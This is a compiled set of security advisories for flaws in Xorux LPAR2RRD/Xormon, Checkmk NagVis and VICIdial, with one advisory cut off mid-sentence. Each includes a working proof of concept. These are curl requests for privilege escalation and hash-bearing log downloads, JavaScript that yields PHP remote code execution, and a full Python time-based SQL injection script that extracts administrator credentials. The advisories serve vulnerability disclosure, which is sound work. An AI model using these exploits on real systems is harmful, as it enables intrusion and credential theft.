text](/advisories/KL-001-2025-013.txt) ## Vulnerability Description An API endpoint that should be limited to web application administrators is hidden from, but accessible by, lower-level read only web application users. The endpoint can be used to import the appliance configuration, allowing an attacker to control the configuration of the appliance, to include granting themselves administrative level permissions. ## Technical Description A read-only user can access a web application endpoint by which device imports can be uploaded. The device exports are in tar.gz.gpg format, and can be constructed to include arbitrary device configuration information of an attacker's choosing. In the case of privilege escalation, an attacker can export the device configuration, modify the readonly account to have administrative privileges, and then re-import the configuration into the appliance. The GPG encryption uses a default of "undefined" for symmetric encryption and decryption. An authenticated, read-only attacker could leverage this vulnerability to obtain administrative level permissions within the web application. ## Mitigation and Remediation Recommendation Xorux released version 1.9.38, which includes a remediation for this vulnerability. See https://xormon.com/note190.php. ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept Use the steps documented in KL-001-2025-012, which allows for export the Xormon NG device configuration. Edit the `confporter/users_groups.csv` file to include an additional line, indicating that the read only account be a member of the Admin group (typically/always group "1"). The `user_id` will depend on the `user_id` of the readonly account an attacker wants to use for privilege escalation. In the case of the research being performed, it was `user_id` "2", so the modified `users_groups.csv` file is shown below: ```text $ more users_groups.csv user_id;group_id 1;1; 2;1; 3;1; ``` Additionally, a boolean value must be changed in the `confporter/users.csv` to indicate that the attacker's account is no longer a read only account. The 8th field, identified as `readonly` should be changed from `true` to `false`, as shown below for the "jbecher" account. ```text $ more users.csv user_id;username;email;password;active;locked;failed_login_attempts;readonly;ldap_id;timezone;created;updated;logged;configuration 1;xormon;;$2b$10$GTliGfYOL7cUmvLpd6qTB.6x8UNTymyHrvLTncLoBmM/7Y5p4WsXi;true;false;0;false;;Etc/UTC;2025-06-09T20:27:52.040Z;2025-06-09T20:28:28.077Z;2025-06-09T20:28:28.051Z;{"showReleaseNotes":true,"searchHistoryLimit":40}; 3;adman;adman@adman.com;$2a$10$MvdgLQO60xPZyRIU/rXCeucdZsy4LMyGXCW36IIbrWTmBXNFb5urW;true;false;0;false;;UTC;2025-06-09T20:29:11.811Z;2025-06-09T20:29:11.811Z;;{"searchHistoryLimit":40}; 2;jbecher;jbecher@korelogic.com;$2a$10$gfngoltRPRvd0epLQ7YHVOrBDp1MuSvVlxMoOivIC1HwHsXRN1VVK;true;false;0;false;;UTC;2025-06-09T20:28:55.801Z;2025-06-09T20:29:31.962Z;2025-06-09T20:29:31.959Z;{"searchHistoryLimit":40}; ``` The `confporter/*` files will need to be tar'd and gzip'd back up, and then gpg symmetrically encrypted with the passphrase of "undefined". Once the GPG file is constructed, it can be imported by a readonly user as follows. ```text $ curl -k -X POST -H "Cookie: connect.sid=s%3AWvQYNjQMd9mYNlUYkIcJOI9yVbkCQ4sN.n%2Bo%2FxPB7%2B1tnK9opKrPf8QHhN%2Feh%2BWVKJ5AwIK9tn%2Fo" https://172.31.255.208/api/confporter/v1/import -F file=@configuration-new3.tar.gz.gpg {"message":"File uploaded","status":200}[S] ``` An additional step of providing the GPG passphrase is performed as follows, from within Burp Repeater. Some fields have been snipped for brevity. ```http GET /websocket/confimport?password=undefined HTTP/1.1 Host: 172.31.255.208 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: https://172.31.255.208 Connection: keep-alive, Upgrade Cookie: connect.sid=s%3AWvQYNjQMd9mYNlUYkIcJOI9yVbkCQ4sN.n%2Bo%2FxPB7%2B1tnK9opKrPf8QHhN%2Feh%2BWVKJ5AwIK9tn%2Fo Sec-Fetch-Dest: empty Sec-Fetch-Mode: websocket Sec-Fetch-Site: same-origin Pragma: no-cache Cache-Control: no-cache Upgrade: websocket HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade ``` The readonly user can now establish a new session with the web application and will have administrative level permissions. --- ## KL-001-2025-014: Xorux LPAR2RRD Read Only User Denial of Service URL: https://korelogic.com/advisories/KL-001-2025-014/ KL-001-2025-014 - Xorux LPAR2RRD Read Only User Denial of Service - CVE-2025-54767 - Xorux LPAR2RRD Advisory ID: KL-001-2025-014 Published: 2025-07-28 Vendor: Xorux Product: LPAR2RRD Version: 8.04 and prior Platform: Rocky Linux 8.10 CVE: CVE-2025-54767 CWE: CWE-648 - Incorrect Use of Privileged APIs Discovered by: Jim Becher ## References - [CWE-648 - Incorrect Use of Privileged APIs](https://cwe.mitre.org/data/definitions/648.html) - [CVE-2025-54767](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54767) - [Signed advisory text](/advisories/KL-001-2025-014.txt) ## Vulnerability Description An authenticated, read-only user can kill any processes running on the Xormon Original virtual appliance as the lpar2rrd user. ## Technical Description The web application endpoint of `https:///lpar2rrd-cgi/reporter.sh` calls `../bin/reporter_cfg.pl`, which contains a URL parameter command called `stop` which allows an attacker to specify a process ID (PID) to stop. The web application, running as the `lpar2rrd` user, then kills the process on the virtual appliance. This could be used to stop the webserver, the `xormon.war` web application or the `lpar2rrd-daemon` process, creating a denial of service (DoS) condition. ## Mitigation and Remediation Recommendation Xorux released version 8.05, which includes a remediation for this vulnerability. See https://lpar2rrd.com/note800.php. ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept On the Xormon Original virtual appliance: ```text [lpar2rrd@xorux ~]$ ps -efww | grep lpar2rrd | grep bash lpar2rrd 185824 185823 0 May27 pts/0 00:00:00 -bash lpar2rrd 1777882 185824 0 13:40 pts/0 00:00:00 grep --color=auto bash [lpar2rrd@xorux ~]$ ``` From attacker box: ```text attacker $ curl -k -H "Authorization: Basic amJlY2hlcjpqYmVjaGVy" 'https://172.31.255.207/lpar2rrd-cgi/reporter.sh?cmd=stop&pid=185824' {"status":"terminated"} ``` On the Xormon Original virtual appliance: ```text [lpar2rrd@xorux ~]$ Connection to 172.31.255.207 closed. attacker $ ``` --- ## KL-001-2025-015: Xorux LPAR2RRD Read Only User Log Download Exposing Sensitive Information URL: https://korelogic.com/advisories/KL-001-2025-015/ KL-001-2025-015 - Xorux LPAR2RRD Read Only User Log Download Exposing Sensitive Information - CVE-2025-54768 - Xorux LPAR2RRD Advisory ID: KL-001-2025-015 Published: 2025-07-28 Vendor: Xorux Product: LPAR2RRD Version: 8.04 and prior Platform: Rocky Linux 8.10 CVE: CVE-2025-54768 CWE: CWE-648 - Incorrect Use of Privileged APIs CWE: CWE-532 - Insertion of Sensitive Information into Log File Discovered by: Jim Becher ## References - [CWE-648 - Incorrect Use of Privileged APIs](https://cwe.mitre.org/data/definitions/648.html) - [CWE-532 - Insertion of Sensitive Information into Log File](https://cwe.mitre.org/data/definitions/532.html) - [CVE-2025-54768](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54768) - [Signed advisory text](/advisories/KL-001-2025-015.txt) ## Vulnerability Description An API endpoint that should be limited to web application administrators is hidden from, but accessible by, lower-level read only web application users. The endpoint can be used to download logs from the appliance configuration, exposing sensitive information. ## Technical Description A read-only user can access a web application endpoint by which logs are downloaded. The logs are in tar.gz format, and can be extracted to reveal sensitive information that a read-only user should not be privileged to view. These files include password hashes for all users within the Xormon Original web application. An authenticated, read-only attacker could leverage this vulnerability to obtain and attempt to crack password hashes for more privileged users, including the admin user. ## Mitigation and Remediation Recommendation Xorux released version 8.05, which includes a remediation for this vulnerability. See https://lpar2rrd.com/note800.php. ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept ```text $ curl -kq --ignore-content-length -H "Authorization: Basic amJlY2hlcjpqYmVjaGVy" 'https://172.31.255.207/lpar2rrd-cgi/vmwcfg.sh?cmd=logs' -o logs-ignore.tar.gz % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 815k 0 815k 0 0 153k 0 --:--:-- 0:00:05 --:--:-- 0 $ ls -al logs-ignore.tar.gz -rw-rw-r-- 1 jbecher jbecher 835419 May 29 13:55 logs-ignore.tar.gz $ tar tvf logs-ignore.tar | egrep 'htusers.cfg|users.json' -rw-rw-rw- lpar2rrd/lpar2rrd 90 2025-04-02 16:19 etc/web_config/htusers.cfg -rw-rw-rw- lpar2rrd/lpar2rrd 1377 2025-04-02 16:19 etc/web_config/users.json ... $ tar xf logs-ignore.tar etc/web_config/htusers.cfg $ tar xf logs-ignore.tar etc/web_config/users.json $ cat etc/web_config/htusers.cfg admin:$apr1$CSoXefyw$wGe9K7Ld5ClOEozE4zC.T1 jbecher:$apr1$gQ7dWXiz$g.m4JR/qNdJl.y0cg7NCb/ ``` ```json $ more etc/web_config/users.json { "ACLimported" : false, "groups" : { "admins" : { "ACL" : { "vms" : {}, "cgroups" : [ "*" ], "pools" : {}, "solo" : {}, "lpars" : {} }, "description" : "LPAR2RRD Administrators" }, "ReadOnly" : { "description" : "Member can see everything but nothing can change." } }, "users" : { "admin" : { "last_login" : "", "config" : { "db_width" : 120, "timezone" : "", "db_height" : 50, "db_items" : [], "locale" : "en-US", "menu_width" : 150 }, "updated" : "2022-03-28T13:47:11Z", "groups" : [ "admins" ], "email" : "", "active" : 1, "created" : "2022-03-28T13:47:11Z", "name" : "LPAR2RRD Administrator", "htpassword" : "$apr1$CSoXefyw$wGe9K7Ld5ClOEozE4zC.T1" }, "jbecher" : { "active" : true, "config" : { "timezone" : null }, "email" : "jbecher@korelogic.com", "groups" : [ "ReadOnly" ], "htpassword" : "$apr1$gQ7dWXiz$g.m4JR/qNdJl.y0cg7NCb/", "created" : "2025-04-02T20:18:59Z", "name" : "Jim Becher" } } } ``` --- ## KL-001-2025-016: Xorux LPAR2RRD File Upload Directory Traversal URL: https://korelogic.com/advisories/KL-001-2025-016/ KL-001-2025-016 - Xorux LPAR2RRD File Upload Directory Traversal - CVE-2025-54769 - Xorux LPAR2RRD Advisory ID: KL-001-2025-016 Published: 2025-07-28 Vendor: Xorux Product: LPAR2RRD Version: 8.04 and prior Platform: Rocky Linux 8.10 CVE: CVE-2025-54769 CWE: CWE-24 - Path Traversal: '../filedir' CWE: CWE-434 - Unrestricted Upload of File with Dangerous Type CWE: CWE-648 - Incorrect Use of Privileged APIs Discovered by: Jim Becher ## References - [CWE-24 - Path Traversal: '../filedir'](https://cwe.mitre.org/data/definitions/24.html) - [CWE-434 - Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) - [CWE-648 - Incorrect Use of Privileged APIs](https://cwe.mitre.org/data/definitions/648.html) - [CVE-2025-54769](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54769) - [Signed advisory text](/advisories/KL-001-2025-016.txt) ## Vulnerability Description An authenticated, read-only user can upload a file and perform a directory traversal to have the uploaded file placed in a location of their choosing. This can be used to overwrite existing PERL modules within the application to achieve remote code execution (RCE) by an attacker. ## Technical Description The filename can be altered manually to direct on the local filesystem on the Xormon Original appliance the upgrade file should be placed. The Xormon appliance will recognize the file as not being a valid upgrade package, but still writes the file to the filesystem. This can be exploited to write a valid PERL script into the `/home/lpar2rrd/lpar2rrd/bin/` directory, where it can be called by existing scripts that are accessible via `https:///lpar2rrd-cgi/"}]' /> ``` --- ## KL-001-2025-002: Checkmk NagVis Remote Code Execution URL: https://korelogic.com/advisories/KL-001-2025-002/ KL-001-2025-002 - Checkmk NagVis Remote Code Execution - CVE-2024-13723 - Checkmk Checkmk/NagVis Advisory ID: KL-001-2025-002 Published: 2025-02-04 Vendor: Checkmk Product: Checkmk/NagVis Version: Checkmk 2.3.0p2, NagVis 1.9.40 Platform: GNU/Linux CVE: CVE-2024-13723 CWE: CWE-434 - Unrestricted Upload of File with Dangerous Type Discovered by: Jaggar Henry, Jim Becher ## References - [CWE-434 - Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) - [CVE-2024-13723](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13723) - [Signed advisory text](/advisories/KL-001-2025-002.txt) ## Vulnerability Description The "NagVis" component within Checkmk is vulnerable to remote code execution. An authenticated attacker with administrative level privileges is able to upload a malicious PHP file and modify specific settings to execute the contents of the file as PHP. ## Technical Description Checkmk version 2.3.0.p2 ships with a component named "NagVis", which is an addon for the network management system "Nagios". When receiving an HTTP POST request for the "server/core/ajax_handler.php" file, the query and body parameters contained within the request are processed by the script. Specifically, the script accepts the "mod" and "act" query parameters, which specified which "module" and "action" the AJAX handler should invoke. The `Map` module in conjunction with the `manage` action enable a user to upload a configuration file that will be used to generate a visual map of data points. The name and extension of the uploaded file are validated, limiting file names to the `.cfg` extension. The contents of the file are not validated. In fact, a developer comment located within the code for the `ViewManageMaps` PHP class calls out this lack of validation: ```php // FIXME: We really should validate the contents of the file move_uploaded_file($file['tmp_name'], $file_path); $CORE->setPerms($file_path); ``` This lack of validation allows an authenticated attacker to upload `.cfg` files with arbitrary contents, effectively planting the payload for the second stage of this exploit. The following is an example HTTP request that uploads a malicious map config file containing PHP code: ```http POST /cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage HTTP/1.1 Host: REDACTED User-Agent: KoreLogic Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Length: 829 Connection: keep-alive ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="_form_name" import_map ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="_update" 0 ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="mode" import ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="MAX_FILE_SIZE" 1000000 ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="_submit" Import ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="_ajaxid" 1716303027 ------WebKitFormBoundarywVfDQNT6TUqAmrdm Content-Disposition: form-data; name="map_file"; filename="exploit.cfg" Content-Type: text/plain ------WebKitFormBoundarywVfDQNT6TUqAmrdm-- ``` The uploaded file is located at `/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg`. When sending a `POST` request to the AJAX handler with the `MainCfg` module and the `edit` action, an authenticated user with administrative privileges can modify system settings for NagVis. The body parameters of the `POST` request contains the various settings associated with NagVis. The `global_authorisation_multisite_file` parameter accepts an absolute file path to the PHP file containing authorization logic for NagVis. By modifying this value to instead point to the malicious map config file uploaded earlier, the attacker controlled contents of the file are executed as PHP when the authorization handler is invoked (such as when attempting to view a page in NagVis). The following is an truncated HTTP request that will perform this settings change: ```http POST /cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit HTTP/1.1 Host: REDACTED User-Agent: KoreLogic Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9YYnBsaDteptwiuR Content-Length: 44877 Connection: keep-alive ... [TRUNCATED] ... ------WebKitFormBoundary9YYnBsaDteptwiuR Content-Disposition: form-data; name="global_authorisation_multisite_file" /opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg ... [TRUNCATED] ... ``` Now that the exploit file is in place and the proper setting has been updated, an HTTP request can be sent containing the `CMD` query parameter. The value of the the parameter will be executed as a shell command and the response will be included in the HTTP response. The following is an HTTP request demonstrating that ability: ```http GET /cmk/nagvis/frontend/nagvis-js/?cmd=id HTTP/1.1 Host: REDACTED User-Agent: KoreLogic Cookie: auth_cmk=REDACTED; Connection: close ``` HTTP response containing output of `id` command: ```text HTTP/1.1 200 OK Date: Wed, 22 May 2024 19:52:45 GMT Server: Apache ... [TRUNCATED] ... Content-Type: text/html; charset=UTF-8 Content-Length: 2543 uid=1000(cmk) gid=1000(cmk) groups=1000(cmk),107(omd) Error (Error): Call to undefined function all_users()array(1) { [0]=> array(2) { ["function"]=> ... [TRUNCATED] ... ``` ## Mitigation and Remediation Recommendation This issue has been remediated in Nagvis 1.9.42 and Checkmk 2.3.0p10, both released 2024-07-15. ## Credit This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc. ## Proof of Concept 1. Authenticate to Checkmk as an administrative user 2. Navigate to `/cmk/nagvis/frontend/nagvis-js/index.php` 3. Open the JavaScript developer console in the browser 4. Execute the following JavaScript: ```javascript formData = new FormData(); formData.append('_form_name', 'import_map'); formData.append('_update', '0'); formData.append('mode', 'import'); formData.append('MAX_FILE_SIZE', '1000000'); formData.append('_submit', 'Import'); formData.append('_ajaxid', '1716303027'); const blob = new Blob([''], { type: 'text/plain' }); const file = new File([blob], 'exploit.cfg', { type: 'text/plain' }); formData.append('map_file', file); (async () => { await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage', { method: 'POST', body: formData, }); var configResponse = await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit'); var configFormData = (await configResponse.json())['code']; document.body.innerHTML = configFormData; var authFileToggle = document.querySelector( "input[name='toggle_global_authorisation_multisite_file']", ); var authFileLocation = document.querySelector( "input[name='global_authorisation_multisite_file']", ); authFileToggle.value = '1'; authFileLocation.value = '/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg'; document.querySelector('#edit_config').submit(); window.location = '/cmk/nagvis/frontend/nagvis-js/?cmd=id'; })(); ``` --- ## KL-001-2024-011: VICIdial Unauthenticated SQL Injection URL: https://korelogic.com/advisories/KL-001-2024-011/ KL-001-2024-011 - VICIdial Unauthenticated SQL Injection - CVE-2024-8503 - VICIdial VICIdial Advisory ID: KL-001-2024-011 Published: 2024-09-10 Vendor: VICIdial Product: VICIdial Version: 2.14-917a Platform: GNU/Linux CVE: CVE-2024-8503 CWE: CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Discovered by: Jaggar Henry ## References - [CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html) - [CVE-2024-8503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8503) - [Signed advisory text](/advisories/KL-001-2024-011.txt) ## Vulnerability Description An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial to enumerate database records. By default, VICIdial stores plaintext credentials within the database. ## Technical Description VICIdial is an open-source contact center suite, mainly used by call centers. The "vicidial.com" website boasts over 14,000 registered installations. There is a public SVN repository to access the source code, as well as an ISO that can be used to install the software. The ISO was used in a virtual machine for testing purposes. When performing SQL queries, VICIdial does not use prepared statements, but instead uses the `preg_replace` PHP function to remove problematic characters in user-controlled input before interpolating the variable into a SQL query. This is largely an effective solution, as regular expressions like `/[^-_0-9a-zA-Z]/` are passed to `preg_replace`, which essentially limits input to the characters shown in the pattern (letters, numbers, underscores, and hyphens). However, these scripts do not utilize a shared PHP file for performing sanitization uniformly. Instead, each script individually implements the `preg_replace` function, leading to inconsistencies in which patterns are used and where they are applied. For example, providing credentials via the `Authorization` request header using the `Basic` scheme, most PHP scripts sanitize the username value with the following line: ```php $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER); ``` However, the `VERM_AJAX_functions.php` PHP script does not perform any sanitization before inserting the username into a SQL `INSERT` statement: ```php $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER']; $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW']; ... if ($function=="log_custom_report") { $rpt_log_stmt="insert ignore into verm_custom_report_holder(user, report_name, report_parameters) values('$PHP_AUTH_USER', '$custom_report_name', '$LOGhttp_referer') ON DUPLICATE KEY UPDATE report_name='$custom_report_name', report_parameters='$custom_report_vars'"; $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link); return mysqli_affected_rows($rpt_log_rslt); } ``` Since `VERM_AJAX_functions.php` can be accessed without authentication, this creates a straight forward unauthenticated SQL injection vulnerability. While the page response cannot be manipulated by the execution of the query, delays in the page response can be observed when using SQL functions such as `sleep()`, enabling the enumeration of database values using time-based SQL injection: ```text $ time curl -u "foo:bar" \ http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m0.019s <--- (normal response time) user 0m0.004s sys 0m0.008s $ time curl -u "','',sleep(5));#:bar" \ http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m5.023s <--- (5-second delay in response time) user 0m0.003s sys 0m0.008s ``` This observable difference can be used to craft queries that sleep under specific conditions, allowing an attacker to ask "Yes or No" questions. In the following example, the `sleep()` function is called only if the provided string matches the database version: ```text $ time curl -u \ "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \ http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m0.024s <--- (normal response time) user 0m0.006s sys 0m0.003s $ time curl -u \ "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \ http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report real 0m5.019s <--- (5-second delay in response time) user 0m0.004s sys 0m0.008s ``` ## Mitigation and Remediation Recommendation This issue has been remediated in the public svn/trunk codebase, as of revision 3848 committed 2024-07-08. ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept The following script can be used to automate the exploitation process and enumerate the results of provided queries: ```text $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version' [+] Target appears vulnerable to time-based SQL injection [~] Executing SQL: SELECT @@version [~] 1 [~] 10 [~] 10. [~] 10.6 [~] 10.6. [~] 10.6.1 [~] 10.6.14 [~] 10.6.14- [~] 10.6.14-M [~] 10.6.14-Ma [~] 10.6.14-Mar [~] 10.6.14-Mari [~] 10.6.14-Maria [~] 10.6.14-MariaD [~] 10.6.14-MariaDB [~] 10.6.14-MariaDB- [~] 10.6.14-MariaDB-l [~] 10.6.14-MariaDB-lo [~] 10.6.14-MariaDB-log real 0m6.727s user 0m0.425s sys 0m0.020s ``` ### unauth_sqli.py ```python import string import random import urllib3 import argparse import requests from base64 import b64encode urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Exploit: def __init__(self, rhost, rport, proxy=None): """ This 'sleep' duration is derived by the average response time multiplied by this value. A server with an average response time of 10ms is given a 'sleep' duration of 300ms. Tune as needed. """ self.SLEEP_MULTIPLIER = 30 self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'} self.ALLOWED_SCHEMES = ['http', 'https'] if proxy: self.REQUEST_PROXIES = { 'http': proxy, 'https': proxy } else: self.REQUEST_PROXIES = {} self.TARGET_IP = rhost self.TARGET_PORT = rport self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!' self.RANDOM_CHARSET = string.ascii_uppercase + string.digits # returns a URI with 'http' or 'https' def determine_target_uri(self): for scheme in self.ALLOWED_SCHEMES: target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}' try: response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False) if self.VICIDIAL_FINGERPRINT in response.text: return target_uri except: pass # returns a session object with custom proxies/headers if supplied def build_requests_session(self): self.base_uri = self.determine_target_uri() session = requests.Session() session.proxies = self.REQUEST_PROXIES session.verify = False return session # returns a random string of a given length def random(self, length): return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length)) # returns a timedelta representing the response time of an injected SQL query def time_sql_query(self, query, session): username = f"goolicker', '', ({query}));# " credentials = f'{username}:password' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php' request_params = {'function': 'log_custom_report', self.random(5): self.random(5)} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) return response.elapsed # returns a boolean if time-based SQL injection is possible, additionally # sets the best 'sleep' duration based on response times def is_vulnerable(self, session, baseline_iterations=5): # determine average baseline response time zero_sleep_query = f'SELECT (NULL)' total_baseline_time = 0 for _ in range(baseline_iterations): execution_time = self.time_sql_query(zero_sleep_query, session) total_baseline_time += execution_time.total_seconds() average_baseline_response_time = total_baseline_time / baseline_iterations self.sql_baseline_time = average_baseline_response_time # determine if injected sleep query impacts response time sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2) sleep_query = f'SELECT (sleep({sleep_length}))' execution_time = self.time_sql_query(sleep_query, session) if execution_time.total_seconds() >= sleep_length: self.sql_sleep_length = sleep_length return True else: return False # determine if a character at a specific indice of a query result returns a # boolean 'true' when compared to a given character using the supplied operator def check_indice_of_query_result(self, session, query, indice, operator, ordinal): parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)' execution_time = self.time_sql_query(parent_query, session) return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER) def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable): # convert charset to ordinals all_characters = sorted([ord(char) for char in charset]) reduced_characters = all_characters # use a binary search and enumerate query results result = '' indice = 1 indice_could_be_null = True while True: """ we check if the value is NULL once per indice to determine when a string ends. this adds one request per indice, but since every boolean 'true' results in a delay this is faster than counting the length of the string before enumrating. """ if indice_could_be_null: if self.check_indice_of_query_result(session, query, indice, '=', '0'): break else: indice_could_be_null = False # enumerate each character of query result with a binary search middle_indice = len(reduced_characters) // 2 middle_ordinal = reduced_characters[middle_indice] if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal): if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal): reduced_characters = all_characters result += chr(middle_ordinal) indice += 1 indice_could_be_null = True print(f'[~] {result}') else: reduced_characters = reduced_characters[:middle_indice] else: reduced_characters = reduced_characters[middle_indice:] return result # returns administrator username and password by # exploiting time-based SQL injection. def extract_admin_credentials(self, session): print('[~] Enumerating administrator credentials') username_charset = string.ascii_letters + string.digits admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset) print(f'[+] Username: {admin_username}') password_charset = string.ascii_letters + string.digits + '-.+/=_' admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1" admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset) print(f'[+] Password: {admin_password}') return admin_username, admin_password # injects SQL queries and enumerates results if instance is vulnerable def exploit(self, custom_query=None): session = self.build_requests_session() is_vulnerable = self.is_vulnerable(session) if is_vulnerable: print('[+] Target appears vulnerable to time-based SQL injection') else: print('[-] Failed to perform time-based SQL injection') return if custom_query: print(f'[~] Executing SQL: {custom_query}') self.enumerate_sql_query(session, custom_query) else: self.extract_admin_credentials(session) if __name__ == '__main__': argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi') required = argparser.add_argument_group('Required Arguments') optional = argparser.add_argument_group('Optional Arguments') required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address') required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number') optional.add_argument('-q', '--query', required=False, help='Custom SQL query to execute', default=None) optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None) arguments = argparser.parse_args() exploit = Exploit( rhost = arguments.rhost, rport = arguments.rport, proxy = arguments.proxy ) exploit.exploit(custom_query=arguments.query) ``` --- ## KL-001-2024-012: VICIdial Authenticated Remote Code Execution URL: https://korelogic.com/advisories/KL-001-2024-012/ KL-001-2024-012 - VICIdial Authenticated Remote Code Execution - CVE-2024-8504 - VICIdial VICIdial Advisory ID: KL-001-2024-012 Published: 2024-09-10 Vendor: VICIdial Product: VICIdial Version: 2.14-917a Platform: GNU/Linux CVE: CVE-2024-8504 CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Discovered by: Jaggar Henry ## References - [CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html) - [CVE-2024-8504](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-8504) - [Signed advisory text](/advisories/KL-001-2024-012.txt) ## Vulnerability Description An attacker with authenticated access to VICIdial as an "agent" can execute arbitrary shell commands as the "root" user. This attack can be chained with `CVE-2024-8503` to execute arbitrary shell commands starting from an unauthenticated perspective. ## Technical Description VICIdial is an open-source contact center suite, mainly used by call centers. The "vicidial.com" website boasts over 14,000 registered installations. There is a public SVN repository to access the source code, as well as an ISO that can be used to install the software. The ISO was used in a virtual machine for testing purposes. Users can be added to specific "groups" that enable them to log into the "agent" web client if that group is associated with a "campaign". This web client is for agents to manage inbound and outbound phone calls, displaying pertinent information regarding the "lead", such as the personal information of the individual on the other end of the call. An agent has the ability to record the phone call using the "START RECORDING" button. When clicked, an HTTP request is sent to the server which is processed by the `manager_send.php` PHP script. The `filename` parameter included in the request is sanitized with the `preg_replace` PHP function to prevent SQL injection, as shown by this snippet: ```php if (isset($_GET["filename"])) {$filename=$_GET["filename"];} elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];} ... $filename = preg_replace("/\'|\"|\\\\|;/","",$filename); ``` The regular expression used to sanitize this parameter is very permissive, only removing single quotes, double quotes, backslashes, and semicolons. Later in the execution of `manager_send.php`, the `filename` variable is added to a SQL database through an `INSERT` statement, along with other user-controlled variables such as `exten`: ```php $stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME', 'NEW','N','$server_ip','','Originate','$vmgr_callerid', 'Channel: $channel','Context: $ext_context', 'Exten: $exten','Priority: $ext_priority', 'Callerid: $filename','','','','','');"; if ($format=='debug') {echo "\n";} $rslt=mysql_to_mysqli($stmt, $link); ``` On the server-side, an asyncronous cron job is executing the perl script `ADMIN_keepalive_ALL.pl`: ```text vicibox11:/ # crontab -l | grep keepalive ### keepalive script for astguiclient processes * * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl ``` This perl script ensures several worker perl scripts are running. Included in these worker perl scripts is `AST_manager_send.pl`, as shown by this snippet from `ADMIN_keepalive_ALL.pl`: ```perl if 